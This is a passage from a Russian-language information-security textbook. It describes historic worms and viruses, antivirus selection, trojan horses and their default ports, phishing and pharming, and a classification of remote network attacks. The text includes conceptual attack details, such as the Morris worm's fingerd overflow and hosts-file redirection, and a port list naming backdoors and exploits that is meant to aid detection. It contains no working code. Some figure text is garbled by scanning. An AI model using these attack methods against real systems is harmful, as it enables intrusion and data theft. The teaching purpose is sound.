Наиболее известным случаем массового заражения компьютеров с подключением к Интернету, повлекшим за собой тяжелые последствия, является чрезвычайное происшествие 2 ноября 1988 г., когда тысячи компьютеров практически вышли из строя в результате распространения вируса (червя) Морриса, который представлял собой сложную 60-килобайтовую программу, написанную на языке С. Программа работала на нескольких различных, хотя и сходных ОС: BSD-Unix, VAX, SunOS. Обосновавшись на одном компьютере, вирус пытался заразить все другие ПК, соединенные с данным. Сначала он пытался обнаружить следующую жертву путем попыток установления соединения сервисами Telnet или SMTP или Rexec. Если на другом конце соединения обнаруживался компьютер, то вирус пытался заразить его собой одним из трех способов. В случае доверительных отношений между уже зараженным компьютером и новой жертвой, заражение происходило при помощи стандартных команд командного процессора Борна rch. В случае отсутствия подобных отношений происходило заражение с помощью утилит fingerd или sendmail. Для заражения с помощью утилиты fingerd использовалась запись 536 байт данных в буфер ввода этой утилиты. При переполнении буфера код возврата из утилиты оказывался равным инструкции на выполнение кода вируса. Для заражения с помощью команды sendmail применялась опция debug этой команды, предназначенная для отладки. С ее помощью в компьютер-жертву вводились команды, приводящие к копированию вируса на ПК. После проникновения на компьютер-жертву вирус находил файл паролей Unix и пытался разгадать пароли привилегированных пользователей компьютера. В вирусе имелось несколько алгоритмов разбиения паролей. Один из них пытался подобрать пароль, используя различные производные от имен пользователей, другой имел встроенную таблицу из 432 наиболее употребительных паролей, третий подбирал пароль методом перебора символов. Для ускорения процесса разбиения паролей вирус запускал несколько параллельно работающих процессов. Получив пароли всех пользователей, вирус пытался их использовать для захвата следующих компьютеров. За короткое время своего существования (не более суток) вирус неограниченно размножился и парализовал своей работой большинство крупных компьютерных комплексов США, подключенных к Интернету.
16 октября 1989 г. в Интернете появилось сообщение об атаке сети SPAN систем VAX/VMS сетевым червем W.COM. Этот вирус поражал только ОС VMS фирмы DEC и распространялся по сетям, использующим протоколы семейства DECnet. Сети TCP/IP не были подвергнуты угрозе заражения, однако могли служить транспортной
274
Информационная безопасность открытых систем
средой для распространения вируса в случае передачи по сетям TCP/IP инкапсулированных пакетов DECnet.
Червь W.COM модифицировал выполняемые файлы путем добавления в них своего кода, приводящего к выдаче на экран угроз разработчикам ядерного оружия. Для своего размножения червь искал в сети пользователей без пароля или с паролем, совпадающим с именем пользователя. При нахождении такого пользователя червь запускался от его имени и модифицировал новые файлы. Наихудшие последствия имели случаи, когда червь выполнялся от имени привилегированного пользователя. В этом случае он создавал новых пользователей и модифицировал пароли существующих пользователей, т. е. создавал условия для своей инициализации в будущем. Проникновение в другие системы осуществлялось путем случайного перебора сетевых адресов и доступа от имени активных пользователей в удаленные системы.
После этих эпидемий сетевых вирусов ошибки в сетевых протоколах и ПО были исправлены. Вновь проблема сетевых вирусов возникла лишь в начале 1997 г. с появлением вирусов Macro.Word.ShareFun и Win.Homer. Первый из них использует возможности электронной почты Microsoft Mail — он создает новое письмо, содержащее зараженный файл-документ (ShareFun является макровирусом), затем выбирает из списка адресов MS-Mail три случайных адреса и рассылает по ним зараженное письмо. Поскольку многие пользователи устанавливают параметры MS-Mail таким образом, что при получении письма автоматически запускается MS Word, то вирус автоматически внедряется в компьютер адресата зараженного письма. Этот вирус иллюстрирует первый тип современного сетевого вируса, которые объединяют возможности встроенного в Word/Excel языка Basic, протоколы и особенности электронной почты и функции автозапуска, необходимые для распространения вируса. Второй вирус (Homer) использует для своего распространения протокол FTP и передает свою копию на удаленный FTP-сервер в каталог Incoming. Поскольку сетевой протокол FTP исключает возможность запуска файла на удаленном сервере, этот вирус можно охарактеризовать как полусетевой, однако это реальный пример возможностей вирусов по использованию современных сетевых протоколов и поражению глобальных сетей.
Возможны, конечно же, и другие способы проникновения вирусов в современные сети. В 1999 г. отмечено появление макровируса, который похищал ключи системы шифрования PGP (Pretty Good Privacy), которая является стандартом Интернета де-факто в области шифрования. Широко распространено мнение о непреодолимости этой системы защиты. Вирус Caligula поколебал ее репутацию. Он принадлежал к новейшему классу, который некоторые специалисты называют вирусами-шпионами. Эти вирусы создаются с целью похищения информации, хранимой на чужих компьютерах в Интернете. Caligula попадал на ПК вместе с зараженным документом в формате Microsoft Word. Оказавшись на новом ПК, этот макровирус проверял, не установлена ли на ней копия ПО PGP. В случае успешного обнаружения такой системы используемые в ней закрытые ключи к шифрам - важнейший с точки зрения безопасности зашифрованных при помощи алгоритма PGP данных компонент -копировались потихоньку на один из FTP-серверов.
В сентябре 2001 г. появился червь Nimda. Он распространялся четырьмя (!) способами: используя информационный сервер Microsoft IIS, посредством электронной почты, через веб-браузеры пользователей (с протоколом HTTP) и локальное сетевое
3. Уязвимость открытых систем на примере интранета
275
окружение. Каналов заражения было очерь много: "сервер-сервер", "сервер-клиент" и " клиент- клиент".
Часто вирусы в сетях маскируются под zip- или иначе сжатые файлы, приходящие по электронной почте. При их запуске или разархивировании активизировались са-мораскрывающиеся архивы, вызывающие, например, переформатирование жесткого диска.
Более подробно с новыми "разработками" компьютерных хулиганов можно ознакомиться в вирусном бюллетене [http://www.virusbtn.com] и по публикациям организации CIAC [http://ciac.llnl.gov/ciac/ ClACVirusDatabase.html].
Наличие сетевых вирусов серьезно осложняет жизнь системным администраторам. Защитой от них являются различные антивирусные программы и программноаппаратные комплексы - это сканеры, ревизоры, резидентные сторожа и вакцины [65]. Антивирусные комплексы должны защищать от проникновения вирусов интранет в целом, отдельные рабочие станции, серверы группового ПО, веб-узел, флоппи-дисководы, распределенные вычисления и т. п. Примером может являтья система антивирусной безопасности Trend Micro [http://www.antivirus.com], предоставляющая комплексную защиту от вирусов компьютерной сети предприятия на основе взаимодействия пяти основных систем, каждая из которых отвечает за защиту своего рубежа. Это базовые системы: OfficeScan Corporate Edition (защита рабочих станций); ServerProtect (защита файл-серверов NT/2000, NetWare, Linux); InterScan VirusWall (зашита шлюзов Интернета, NT/2000 и Unix); ScanMail (защита корпоративной системы обмена сообщениями и групповой работы Microsoft Exchange, Lotus Notes, HP OpenMail) и Trend Micro Control Manager (система для администрирования антивирусных продуктов).
Для борьбы с вирусами часто оказывается достаточно элементарных мер, а регулярное использование программ сканирования почти полностью устраняет вероятность заражения. Например, для упомянутого червя Nimda можно было предотвратить заражение на основе первого и четвертого способов, используя маршрутизаторы для упреждающей блокировки (preemptively block) или ограничение входящего трафика на порты 80 и 135-139. Также можно было блокировать этот червь по известным сигнатурам или соответствующей настройкой прокси-сервера.
Ниже представим несколько замечаний о критериях выбора антивирусных программ [66]. Сформулировать их не просто. Часто в качестве одного из критериев используется количество вирусов и псевдовирусов, обнаруженных сканером: чем больше, тем лучше. При таком подходе на протяжении всего времени эксплуатации придется модернизировать ПО сканера. Существенным недостатком данного метода является то, что сканеры ищут вирусы, уже проникшие на компьютеры и заразившие (а иногда и уничтожившие) файлы пользователя. Следует отметить и такой фактор, как скорость сканирования: необходимость проверки файла на все типы вирусов вынуждает разработчиков использовать множество методов поиска, что затягивает процедуру. Как отмечалось в журнале "Software Digest", проводившем еще в 1995 г. сравнение 10 основных антивирусных программ для сетей NetWare, "если время, необходимое для выявления инфекции, превосходит время, требующееся для восстановления данных после вирусной атаки, высока вероятность, что пользователь пре
276
Информационная безопасность открытых систем
кратит работу антивирусного ПО, остановив процедуру сканирования". Наконец, работа сканера требует от пользователя установки, а значит, изучения документации и способов работы с программой.
По мере того как за компьютеры садится все больше людей, не имеющих специальной подготовки, все более актуальными становятся возможность самостоятельной и постоянной работы антивирусного ПО в фоновом режиме незаметно для пользователя и контроль любой подозрительной активности. Это позволяет автоматически перехватить вирусы еще до того, как они проникнут в компьютер и уничтожат данные.
Только функционально полный антивирусный продукт, созданный на основе таких современных технологий, как сканирование, он-лайновый мониторинг, эвристический анализ, контроль подозрительного поведения, проверка целостности программ и файлов, разнообразные методы обнаружения неизвестных вирусов и вирусов-невидимок, в совокупности с разумной идеологией обновления действительно не дадут вирусу доступа к компьютерной системе.
Еще один критерий выбора анивируса - это репутация программы. Независимая организация - Ассоциация компьютерной безопасности США (International Computer Security Association, ICSA, http://www.trusecure.com) проводит сертификацию антивирусного ПО. Список сертифицированных продуктов открыт и постоянно пополняется. Что же означает наличие сертификата? Схема сертификации, используемая ICSA, требует от продукта способности обнаруживать 100 % вирусов "in the wild" и как минимум 90 % более чем из 10 тыс. других известных вирусов, входящих в коллекцию ICSA (Zoo). Процедура сертификации осуществляется без участия разработчиков, при этом программы запускаются в режиме по умолчанию (как это сделал бы пользователь, не утруждающий себя чтением документации), т. е. без использования особо изощренных средств обнаружения вирусов. Таким образом, при прочих равных условиях сертифицированное ПО имеет больше шансов обнаружить вирус и предотвратить заражение, нежели любое другое.
Также важна и многоплатформенность, т. е. способность поддержки рабочих станций, функционирующих под управлением разных ОС.
Простота внедрения и удобство эксплуатации связаны, как правило, со следующими вопросами: насколько сложна процедура установки, хороша ли документация и пользовательский интерфейс, имеются ли сетевые средства централизованного администрирования и авторизации доступа к конфигурированию антивирусной системы и пр.
Выбрать наиболее подходящий продукт нелегко. В какой-то мере это связано с тем, что существует три категории антивирусных средств со своими критериями оценки. Речь идет о ПО для конечных пользователей, технических специалистов и сетевых администраторов. Если четко определить сферу применения, то выбор значительно упростится. Программа для конечного пользователя должна быть удобной, легко осваиваться, инсталлироваться и иметь изящный интерфейс. Техническим специалистам нужен в первую очередь хороший сканер, который способен очень часто обновлять таблицы вирусных сигнатур. Дело в том, что при возникновении любой проблемы техническому персоналу бывает важно прежде всего выяснить, не связана
3. Уязвимость открытых систем на примере интранета	277
ли она с действиями вирусов. Вот почему им необходим инструментальный набор, реализующий самые передовые сканерные технологии. Администраторам важно, чтобы ПО предъявляло минимальные требования к системным ресурсам сервера и рабочей станции, не нуждалось в активном взаимодействии с пользователем и осуществляло он-лайновый мониторинг с эвристическим анализом, позволяющий в реальном масштабе времени защищать ото всех известных и даже неизвестных вирусов. Разумеется, это идеальные варианты: весьма вероятно, что кому-то необходим продукт, сочетающий качества средств разных категорий.
Говоря о средствах защиты от компьютерных вирусов, нельзя обойти вопрос средств обнаружения специального класса вредоносных программ — "троянских коней” - программ, содержащих дополнительные скрытые функции, с помощью которых используются законные полномочия субъекта для осуществления НСД к информации. Основная цель, которую преследуют данные программ, - кража информации с компьютера. Как правило, это регистрационные файлы, содержащие информацию о пользователях и паролях, конфигурации компьютера, о настройках сетевых параметров. Заражение происходит в несколько этапов.
	Доставка. Как правило, такие программы попадают в компьютер через электронную почту (пользователь получает письмо с вложенным файлом, например картинкой JPEG, которая на самом деле является программой установки) либо вместе с "пиратским" ПО; возможно также "вывешивание" подобных программ в Интернете.
	Анализ. После запуска программа установки производит проверку дисков на поиск свободного места для основной программы и прописывает в реестре необходимую для запуска строку.
	Сбор и передача данных. В режиме Telnet-сесии устанавливается связь с почтовым сервером, через который происходит отправка собранных сведений; передача данных может также происходить через FTP-серверы или IRC-каналы.
Также "троянские кони" могут выступать в качестве программ удаленного администрирования (remote rooting), позволяющих злоумышленнику использовать его вычислительные ресурсы или наблюдать за работой пользователя.
Класс средств выявления факта атаки такими программами обеспечивает проверку целостности файловой системы, и в первую очередь конфигурационных файлов и системных демонов. Для Microsoft-платформ функции выявления "троянских коней" выполняют обычные сканеры вирусов. Для Unix-платформ разработан ряд специальных программ типа TripWire, TAMU (Texas А&М University), ATP (Anti-Tampering Program) и др.
Меньше всего, по оценкам специалистов, вирусным атакам подвергается Unix. Причина заключается в больших возможностях по управлению доступом. И наоборот, мишенью злоумышленников в основном являются существенно преобладающие по численности компьютеры с установленными на них Windows-платформами.
Ниже представлен список некоторых "троянских коней" и заданные для них по умолчанию порты, которые они применяют. Конечно, некоторые из них могут использовать любой порт, но это начальная информация, которую можно при желании откорректировать и дополнить самостоятельно. Более полный список можно найти
278
Информационная безопасность открытых систем
по адресу http://www.simovits.com/ nyheter9902.html. Чтобы помочь администраторам обнаруживать атаки "троянцами", там же ожидается появление информации о первоначальных названиях выполняемых программ, их размерах, местах, где они обычно скрываются, и о названиях всех help-файлов, которые они могут использовать, а также о средствах защиты от "троянцев". Злоумышленники хорошо знакомы с представленными сведениями.
21 - Blade Runner, Doly Trojan, Fore, Invisible FTP, WebEx, WinCrash, wu-ftp old problems, ftp bounce 22’- login to the system 23 - Tiny Telnet Server, login RH 4.0 overflow, cisco default login, wingate bounce 25 - Antigen, Email Password Sender, Haebu Coceda, Shtrilitz Stealth, Terminator, WinPC, WinSpy, sendmail old versions, etc 31 - Hackers Paradise 53 - DNS bind exploits, fake DNS records 69	- tftp /etc/passwd 79	- gel login names (finger) 80	- Executor, cgi-bin vuln (Count.cgi, Phf, test-cgi....) 110 - QPOP BSD exploits, sniffing, brute force cracking (pop3) 111 - NFS rpc calls (sunrpc) 139 - Netbios File sharing, SAMBA exploits, Null IPC$ sessions 143 - IMAP BSD/linux exploits 161 - SNMP MIB problems ("public" community string) 443 - SSL brute force cracker 456 - Hackers Paradise 555 - Ini-Killer, Phase Zero, Stealth Spy 666 - Satanz Backdoor 1001 - Silencer, WebEx 1011 - Doly Trojan 1080 - MS proxy bounce/SOCKS servers 1170 - Psyber Stream Server, Voice 1234 - Ultors Trojan 1245 — VooDoo Doll 1492 - FTP99CMP 1600 - Shivka-Burka 1807 - SpySender 1981 - Shockrave 1999 - BackDoor 2001 - Trojan Cow 2023 - Ripper 2115 - Bugs 2140 - Deep Throat, The Invasor	2801 - Phineas Phucker 3024, 4092, 5742 - WinCrash 3129, 40421-23, 40426 - Masters Paradise 3150 - Deep Throat, The Invasor 3700, 9872-9875, 10067, 10167 - Portal of Doom 4590 - ICQTrojan 5000-5001 - Sockets de Troie 5321 -Firehotcker 5400-5402 - Blade Runner 5569 - Robo-Hack 6670, 6771 - DeepThroat 6969 - GateCrasher, Priority 7000 - Remote Grab 7300-7301, 7306-7308 - NetMonitor 7789 - ICKiller 8080 - free proxy/socks 9989 - iNi-Killer 11000 - Senna Spy 11223 - Progenic trojan 12223 - Hack'99 KeyLogger 12345-12346 - GabanBus, NetBus 12361 -12362 - Whack-a-mole 16969 - Priority 20001 - Millennium 20034 - NetBus 2 Pro 21544 - GirlFriend 22222, 33333-Prosiak 23456 - Evil FTP, Ugly FTP 26274, 47262 - Delta 31337 - Back Orifice, default haxOrs bindshell 31338 — Back Orifice, DeepBO 31339-NetSpy DK 31666-BOWhack 32100-"B" 34324 - BigGluck, TN 40412-The Spy 50505 - Sockets de Troie 50766 - Fore 53001 - Remote Windows Shutdown 61466 - Telecommando 65000 - Devil
3. Уязвимость открытых систем на примере интранета	279
Вопросы для самоконтроля к гл. 3
1.	Дайте определения угрозы, уязвимости, атаки.
2.	Какие типы злоумышленников в открытых сетях вам известны?
3.	Охарактеризуйте виды вторжений в открытые системы.
4.	Перечислите причины, способствующие атакам в открытых системах.
5.	Какие угрозы ИБ интранета вам известны? Какие у них источники?
6.	В чем проблемы с неправильной конфигурацией систем?
7.	Укажите атаки, специфические для ОС.
8.	Верно ли. что основной задачей защиты встроенных в ОС средств является защита системной информации?
9.	Достаточно ли в общем случае встроенных в ОС средств защиты?
10.	Рассмотрите некоторые примеры использования злоумышленниками слабостей ОС Unix.
11.	Какие проблемы с обеспечением информационной безопасности обнаружены на Windows-платформах?
12.	Каковы основные причины уязвимости хостов интранета?
13.	Какие уязвимости в различных типах серверов являются основными (рассмотрите на ряде примеров)?
14.	Какие основные угрозы информации в СУБД вам известны?
15.	Каковы основные сценарии атак на СУБД?
16.	Опишите уязвимости систем электронного документооборота.
17.	Каким несанкционированным действиям может подвергнуться рабочая станция?
18.	В чем заключаются основные уязвимости каналов связи?
19.	Как осуществляются различные типы перехватов данных в каналах связи?
20.	Какие уязвимости каналообразующего оборудования нужно учитывать при создании системы защиты для -интранета?
21.	С чем связаны уязвимости системных утилит, команд и сервисов?
22.	Какими возможностями для несанкционированного доступа к информации обладает злоумышленник при работе с сервисом Telnet?
23.	Каковы последствия при получении доступа злоумышленником к неправильно сконфигурированному FTP-серверу?
24.	В чем проблемы с системой безопасности при работе с сетевой файловой системой?
25.	Каково назначение системы доменных имен и в чем заключается DNS-алгоритм удаленного поиска IP-адреса по имени?
26.	Чем опасна подстановка ложных доменных имен?
27.	Рассмотрите три основных варианта УА для DNS.
28.	Какие злоупотребления возможны при работе с сетевой информационной системой?
29.	Что такое скрипты CGI? Какие проблемы для обеспечения информационной безопасности могут возникнуть при их использовании?
30.	Какая специальная информация в системе WWW может помочь злоумышленникам получить несанкционированный доступ к информации?
31.	Как осуществляется защита веб-узла от "фальшивых" запросов?
32.	Какие проблемы возникают при использовании команды удаленного выполнения?
33.	Каковы потенциальные проблемы с электронной почтой? Как можно вывести из строя почтовый сервер?
34.	Что такое спэм? Как от него защититься обычным пользователям и почтовому серверу?
35.	Какие утилиты могут помочь узнать злоумышленникам больше информации об интранете?
4.	АТАКИ НА ОТКРЫТЫЕ СИСТЕМЫ
В главе подробно изучаются удаленные атаки на открытые системы, для чего определяются типовые атаки, такие, как анализ сетевого трафика, подмена доверенного объекта или субъекта, создание ложного объекта, атаки типа "отказ в обслуживании" и получение удаленного контроля над станцией в сети. Описываются некоторые типичные сценарии и этапы реализации атак и их уровни. После этого рассматриваются классические и современные методы взлома, используемые нападающими для проникновения в открытые системы. Основными иллюстрациями современных методов, описанными в главе, являются методы перехвата данных, мониторинг в графических интерфейсах, подмена системных утилит. Особое место занимают атаки с использованием сетевых протоколов - атаки на основе протокола ICMP, SYN-бомбардировка, спуффинг, ложный ARP-cepeep и перехват сеансов (hijacking)
4.1.	Удаленные атаки на открытые системы
Принципиальным отличием атак, осуществляемых злоумышленниками на открытые сети, является фактор расстояния от ПК, выбранного в качестве "жертвы", или "прослушиваемого" канала связи до местоположения злоумышленника. Этот фактор нашел выражение в определении их как "удаленных" (в отличие от локальных, осуществляемых средствами НСД непосредственно в отношении отдельного компьютера). Под удаленной атакой (УА) принято понимать несанкционированное информационное воздействие на РВС, программно осуществляемое по каналам связи [44]. Или, проще говоря, УА - это любое нападение, которое начато против компьютера, над которым нападающий в настоящее время еще не имеет контроля, т. е. это нападение на любой компьютер, который не является собственностью атакующего (находится ли этот компьютер в подсети нападающего или за 10 км от него) [50].
Для УА можно выделить наиболее общие схемы их осуществления. Такие У А получили название типовых УА (ТУА). Тогда ТУА - это удаленное несанкционированное информационное воздействие, программно осуществляемое по каналам связи и характерное для любой РВС.
Особенностью сетевых систем является распределенность как самих аппаратных средств (компьютеров), так и информации. Поэтому можно выделить два основных подвида УА. Первый тип атак направлен на инфраструктуру и протоколы сети, и при этом нарушитель использует уязвимости в сетевых протоколах и инфраструктуре сети (сложившейся системе организации отношений между объектами сети и используемыми в ней сервисными службами). Во втором случае атаки нацелены на телекоммуникационные службы из-за наличия уязвимостей именно в них. Тогда объектом УА могут стать следующие виды сетевых устройств: оконечные устройства, каналообразующее оборудование и промежуточные устройства типа ретрансляторов, шлюзов, модемов и т. п.
Результат, которого чаще всего добиваются злоумышленники, проводя свои атаки, таков:
	расширение прав доступа в сети, на конкретном узле (например, с установлением контроля за рабочей станцией);
	искажение информации; •
	раскрытие информации (т. е. ее распространение среди лиц без соответствующих полномочий доступа);
	кража сервисов (их несанкционированное использование);
4. Атаки на открытые системы
281
	"отказ в обслуживании" (снижение производительности или блокировка доступа, например к базе данных).
Цель У А на компьютеры интранета, состоит, например, в получении доступа к их информационным и сетевым ресурсам. Примером первого типа ресурсов могут быть БД, файл-серверы и т. п. Ко второму типу ресурсов относятся различные сетевые сервисы, например Telnet, электронная почта, телеконференции и т. д.
По данным, приведенным в обзоре ФБР "2003 CSI/FBI Computer Crime and Security Survey", частота обнаружения различных атак такова:
	вирусы - 85 %;
	злоупотребления в Интернете со стороны сотрудников - 78 %;
	НСД со стороны сотрудников - 38 %;
	"отказ в обслуживании" - 40 %;
	атаки внешних злоумышленников - 40 %;
	кража конфиденциальной информации - 20 %;
	саботаж - 8 %;
	финансовые мошенничества - 12 %;
	мошенничества с телекоммуникационными устройствами - 9 %.
Можно выделить следующий ряд характерных признаков атак [67]:
	явные признаки - сбои, неправильное функционирование программ, повтор определенных событий, неправильные команды, непредвиденные атрибуты, несоответствующие параметры сетевого трафика и т. п.;
	отсутствие/повреждение некоторых файлов, появление новых;
	откорректированые файлы регистрации;
	использование уязвимостей;
	необъяснимые проблемы;
	обнаружено, что пользователи входили в систему из странных мест в неподходящее время или выполняли странные команды, и др.
Источники информации об атаках бывают:
	основными:
	сетевой трафик;
	журналы регистрации (ОС, СУБД, прикладных и сетевых приложений);
•	текущая деятельность субъектов системы (пользователей, процессов, сервисов, портов);
•	уведомления;
 дополнительными:
	информация от пользователей;
	списки рассылки по безопасности;
•	журналы;
	конференции;
	веб-серверы по безопасности (например, по адресу http://www.dshield.org можно посмотреть, какие порты на текущую дату наиболее часто атакуются злоумышленниками, какова тенденция за последнее время по тем или иным атакам — растет их число или снижается, с каких адресов чаще всего в последнее время исходят атаки и т. п.).
282
Информационная безопасность открытых систем
По мере развития сетевых технологий сложность атак и знания самих взломщиков претерпевали некоторые изменения, причем можно отметить тенденцию к возрастанию сложности атак при снижении общего уровня знаний злоумышленников (рис. 38).
Sопределенные атаки :а1 th-сканирование и на Web в обслуживании* тированное сканирование :ий интерфейс в средствах атаки реса (ых (sniffing) нения нах
них уязвимостей
1980 1985 1990 1995 2000
Рис. 38. Сложность атак и знания злоумышленников
Данный рисунок (источник - Cnews.ru) можно дополнить новыми атаками phising и pharming, появившимися в 2004 г.
Phishing — это атака с использованием приемов социальной инженерии, при которой жертву обманом заставляют переслать по почте свои персональные данные. Жертва получает электронные сообщения, замаскированные под полезные послания, якобы отправленные клиентской службой хорошо известного банка. В письмах содержится просьба подтвердить или предоставить конфиденциальные персональные данные. Кроме социальной инженерии, в данной атаке применяются и технические приемы, при которых на компьютер жертвы для кражи данных устанавливается ПО атаки (crimeware), чаще всего в виде "троянцев", перехватывающих ввод с клавиатуры (Trojan keylogger spyware).
Phishing является классической формой кражи банковских данных пользователей с помощью электронных писем - трюка, на который попалось множество ничего не подозревающих пользователей. В последнее время подобные атаки, достигшие масштабов эпидемии, приносят все больше вреда, поскольку мошенники пользуются самыми изощренными методами, способными обмануть даже очень осторожных пользователей.
Pharming - более сложный и опасный тип атак, чем phishing (http://www.phar-ming.org). При этом преследуется сходная цель - обмануть ничего не подозревающего пользователя компьютера и перенаправить трафик на вредоносный сайт или прокси-сервер для сбора конфиденциальной информации, особенно относящейся к онлайновым банкам. Попавши на такой поддельный сайт, жертва сообщает злоумышленникам свои персональные данные, номера кредитных карт, ПИНы и т. д. В январе 2005 г. экспертами рабочей группы Anti-Phishing Working Group (http://www.antiphi
4. Атаки на открытые системы
283
shing.org) было обнаружено 12 845 разновидностей рассылок, ведущих на 25 60 подставных веб-сайтов. Таким атакам уже подвергались известные поисковые системы, сайты различных компаний и крупные Интернет-магазины.
В отличие от phishing в pharming социальная инженерия не применяется, а атака направлена не на самого пользователя, а на его компьютер или сервер DNS. С помощью технологий DNS Poisoning или URL Hijacking даже правильно введенные URL-адреса приводят на вредоносные сайты, которые специально замаскированы под реально существующие ресурсы, посещаемые пользователем. Если при попытке пользователя произвести доступ к нужной ему веб-странице DNS-сервер не сможет правильно разрешить IP-адрес, соответствующий введенному доменному имени, то пользователь не увидит корректную страницу. Атаки могут быть выполнены напрямую против DNS-сервера так, что изменение адреса повлияет на всех пользователей, обращающихся к серверу во время просмотра Интернета, или локально, т. е. на отдельных компьютерах. Второй сценарий гораздо более опасен из-за его большей эффективности и проще в реализации для атакующих. Им требуется выполнить всего два относительно несложных действия: изменить файл hosts, который можно найти на любом компьютере под управлением Windows и использующем Internet Explorer для доступа в Интернет, и создать фальсифицированную веб-страницу. Чтобы для конвертации URL наиболее часто посещаемых пользователем сайтов в IP-адреса не обращаться к DNS-серверу, файл hosts хранит таблицу соответствия имен серверов и их IP-адресов. Если этот файл перезаписан и в него внесены фальсифицированные адреса он-лайновых банков, каждый раз, когда пользователь вводит их URL в браузере, он попадет на страницу, заблаговременно созданную злоумышленником. Механизм атаки вступает в действие, когда жертва открывает непрошеное почтовое послание или посещает веб-узел с исполнимым файлом, который тайно запускается в фоновом режиме. Стоит заметить, что сайты-обманки могут в точности повторять дизайн и структуру подменяемого сайта. Поэтому у пользователя не возникнет никаких подозрений — он с уверенностью оставляет на сайте мошенника различные данные и при этом может незаметно для себя загрузить на свой компьютер некие злонамеренные программы (чаще всего "троянцев").
Для запуска атаки злоумышленники пользуются старыми и недостаточно защищенными расширениями DNS комплекса BIND, которые лежат в основе работы подавляющего большинства DNS-серверов в Интернете, или слабыми по умолчанию настройками DNS в Window 2000. (Сразу оговоримся, что возможными средствами противостояния названным атакам являются замена DNS ее обновленной версией -Secure DNS, установка антивирусного ПО, совмещающего предупреждающие и реагирующие системы обнаружения, и персонального МЭ, мешающего проникновению в компьютер пользователя через незащищенный порт и модификации системы, а также регулярное обновление всего ПО, что устранит его известные уязвимости.)
Сложность атаки определяется уровнем технических возможностей или общим уровнем знаний атакующего и бывает четырех видов.
1.	Низкая - атакующий запускает программу взлома, компилирует легкодоступный код или применяет широко известный метод атаки, практически не внося ничего нового в свое поведение.
2.	Средняя - атакующий использует широко известный метод нападения, но разворачивает атаку и незначительно модифицирует стандартную тактику атаки.
284
Информационная безопасность открытых систем
3.	Сложная — атакующий умен (как правило, пишет собственный код), опытен, его атака может долго оставаться незамеченной.
4.	Очень сложная - взломщик очень опытен, использует либо неизвестные разработки, либо самые современные технологии, применяет в основном нестандартные методы и, хорошо заметая следы, часто оставляет скрытые входы для повторного проникновения.
Атаки в зависимости от количества атакующих и жертв можно разделить на два класса - традиционные и распределенные. Традиционные атаки (рис. 39, a-в) осуществляются одним злоумышленником со своего компьютера или с использованием одного или нескольких промежуточных узлов (для сокрытия своего реального адреса) в отношении одной или нескольких жертв. Распределенные атаки (рис. 39, г-д)
всегда подразумевают сговор нескольких одна или чаще сразу несколько жертв.
атакующих, целью которых может стать
в) с промежуточными узлами
д) отношение "многие ко многим"
Рис. 39. Традиционные и распределенные атаки
Теперь рассмотрим обобщенную классификацию УА по основным критериям (рис. 40).
По характеру воздействия УА делятся на пассивные и активные (примером первого типа атак является, например, прослушивание каналов связи и перехват вводимой с клавиатуры информации; примером второго типа является атака "третий посередине", когда злоумышленник может, например, подменять данные информационного обмена между двумя пользователями Интернета и/или интранета или между пользователем и запрашиваемым им сетевым сервисом, пересылаемые в обоих направлениях).
4. Атаки на открытые системы
285
Рис. 40. Классификация удаленных атак по видам
По цели воздействия УА различаются в зависимости от нарушения трех основных возможных свойств информации и информационных ресурсов - их конфиденциальности, целостности и доступности, плюс нарушение доступности всей системы или ее отдельных служб (пример атаки: "отказ в обслуживании", далее рассмотренный более подробно).
По условию начала осуществления воздействия УА может быть безусловной (предпринимается злоумышленником в любом случае) или может активизироваться либо при посылке определенного запроса от атакуемого объекта, либо при наступлении ожидаемого события на нем.
По наличию обратной связи с атакуемым объектом различают атаки с обратной связью или без обратной связи (такая атака называется однонаправленной).
По расположению субъекта атаки относительно атакуемого объекта атаки бывают внутрисегментными (средства взлома сети или, например, прослушивания каналов связи должны располагаться в том же сегменте сети, который интересует зло
286
Информационная безопасность открытых систем
умышленника) или межсегментными (и тогда дальность расстояния от жертвы до злоумышленника не имеет значения).
По числу атакующих и жертв У А бывают традиционными и распределенными.
По уровню эталонной модели взаимосвязи открытых систем (OSI) Международной организации по стандартизации (ISO), на котором осуществляется воздействие, атака может реализовываться на семи уровнях - физическом, канальном, сетевом, транспортном, сеансовом, представительном и прикладном.
По средствам проведения атаки. Для реализации УА используются разные средства, такие, как информационный обмен, команды пользователя (ввод команд в интерфейсе командной строки или процесса), скрипты или программы (например, взломщики паролей, снифферы, сканеры, вирусы и т. п.), автономный агент, комплект утилит (toolkit, rootkit и т. п.), распределенные средства (по нескольким узлам сети) и пр.
По методам проведения атаки, среди которых применяются прослушивание, сканирование, зондирование, "маскарад", спуффинг, перехват сессий, взлом и т. п.
По объекту атаки (например, данные, программы, сетевое обеспечение, пользователь и т. д).
По результату атаки - например, это чаще всего расширение прав доступа, установление удаленного контроля (управления) над объектом в сети, сбор/раскрытие информации, кража сервисов, "отказ в обслуживании" и т. п.
По размеру причиненного ущерба УА могут нанести минимальный, средний или высокий ущерб.
Средства обеспечения безопасности интранета на основе такой модели регламентируются стандартом ISO 7498-2. Эти же рекомендации могут применяться и для разработки, создания аналогичных механизмов в Интернет-сетях, так как стек протоколов TCP/IP соответствует уровням 1—4 модели, а прикладной уровень в сетях Интернета соответствует верхним уровням (5-7).
Среди вышеперечисленных УА можно выделить пять наиболее часто предпринимаемых типовых схем атак, т. е. ТУА [44]: анализ сетевого трафика; подмена доверенного объекта или субъекта РВС; ложный объект РВС; "отказ в обслуживании"; удаленный контроль над станцией в сети. Рассмотрим их подробнее.
4.1.1.	Анализ сетевого трафика
Анализ сетевого трафика (или прослушивание канала связи с помощью специальных средств - снифферов) позволяет:
	изучить логику работы сети - получить однозначное соответствие событий, происходящих в системе, и команд, пересылаемых при этом хостами, в момент появления данных событий; в дальнейшем это позволит злоумышленнику на основе задания соответствующих команд получить, например, привилегированные права на действия в системе или расширить свои полномочия в ней;
	перехватить поток передаваемых данных, которыми обмениваются компоненты сетевой ОС, для извлечения секретной или идентификационной информации (например, статических паролей пользователей для доступа к удаленным хостам по протоколам FTP и Telnet, не предусматривающих шифрование), ее подмены, модификации и т. п.
4. Атаки на открытые системы
287
По классификации УА анализ сетевого трафика - пассивное воздействие. Осуществление атаки без обратной связи ведет к нарушению конфиденциальности информации внутри одного сегмента сети на канальном уровне OSI. Начало осуществления атаки безусловно по отношению к цели атаки.
